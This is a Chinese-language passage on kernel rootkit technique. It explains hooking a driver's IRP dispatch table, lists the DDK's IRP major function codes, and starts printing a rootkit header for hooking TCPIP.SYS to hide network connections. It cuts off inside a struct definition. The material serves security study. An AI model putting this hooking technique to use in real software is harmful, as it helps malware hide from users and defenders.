内核中一个很好的隐藏位置是每个设备驱动程序中包含的函数表。在安装驱动程序时,它初始化一个函数指针表,这些指针包含了它的各种类型I/O请求报文(I/O Request Packet IRP)处理函数的地址。IRP处理多种类型的请求,例如读、写和查询。由于驱动程序处于控制流中非常低的层次,因此它们是理想的钩子位置。
以下是微软公司DDK定义的标准IRP类型列表:
// Define the major function codes for IRPs. #define IRP_MJ_CREATE 0x00 #define IRP_MJ_CREATE_NAMED_PIPE 0x01 #define IRP_MJ_CLOSE 0x02 #define IRP_MJ_READ 0x03 #define IRP_MJ_WRITE 0x04 #define IRP_MJ_QUERY_INFORMATION 0x05 #define IRP_MJ_SET_INFORMATION 0x06 #define IRP_MJ_QUERY_EA 0x07 #define IRP_MJ_SET_EA 0x08 #define IRP_MJ_FLUSH_BUFFERS 0x09 #define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a #define IRP_MJ_SET_VOLUME_INFORMATION 0x0b #define IRP_MJ_DIRECTORY_CONTROL 0x0c #define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d #define IRP_MJ_DEVICE_CONTROL 0x0e #define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f #define IRP_MJ_SHUTDOWN 0x10 #define IRP_MJ_LOCK_CONTROL 0x11 #define IRP_MJ_CLEANUP 0x12 #define IRP_MJ_CREATE_MAILSLOT 0x13 #define IRP_MJ_QUERY_SECURITY 0x14 #define IRP_MJ_SET_SECURITY 0x15 #define IRP_MJ_POWER 0x16 #define IRP_MJ_SYSTEM_CONTROL 0x17 #define IRP_MJ_DEVICE_CHANGE 0x18 #define IRP_MJ_QUERY_QUOTA 0x19 #define IRP_MJ_SET_QUOTA 0x1a #define IRP_MJ_PNP 0x1b #define IRP_MJ_PNP_POWER IRP_MJ_PNP //Obsolete #define IRP_MJ_MAXIMUM_FUNCTION 0x1b
在Rootkits——Windows内核的安全防护文中介绍了钩住TCPIP.SYS的方法来过滤相关网络连接查询信息的IRP。
Rootkit.h的代码:
/// // Filename Rootkit.h // // Author: Jamie Butler // Email: james.butler@hbgary.com or butlerjr@acm.org // // Description: Defines globals, function prototypes, etc. used by rootkit.c. // // Version: 1.0 typedef BOOLEAN BOOL; typedef unsigned long DWORD; typedef DWORD * PDWORD; typedef unsigned long ULONG; typedef unsigned short WORD; typedef unsigned char BYTE; typedef BYTE * LPBYTE; #define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003 //#define MAKEPORT(a, b) ((WORD)(((UCHAR)(a))|((WORD)((UCHAR)(b))) << 8)) #define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8)) typedef struct _CONNINFO101 { unsigned long status; unsigned long src_addr; unsigned short src_port; unsigned short unk1; unsigned long dst_addr; unsigned short dst_port; unsigned short unk2; } CONNINFO101, *PCONNINFO101; typedef struct _CONNINFO102 { unsigned long status; unsigned long src_addr; unsigned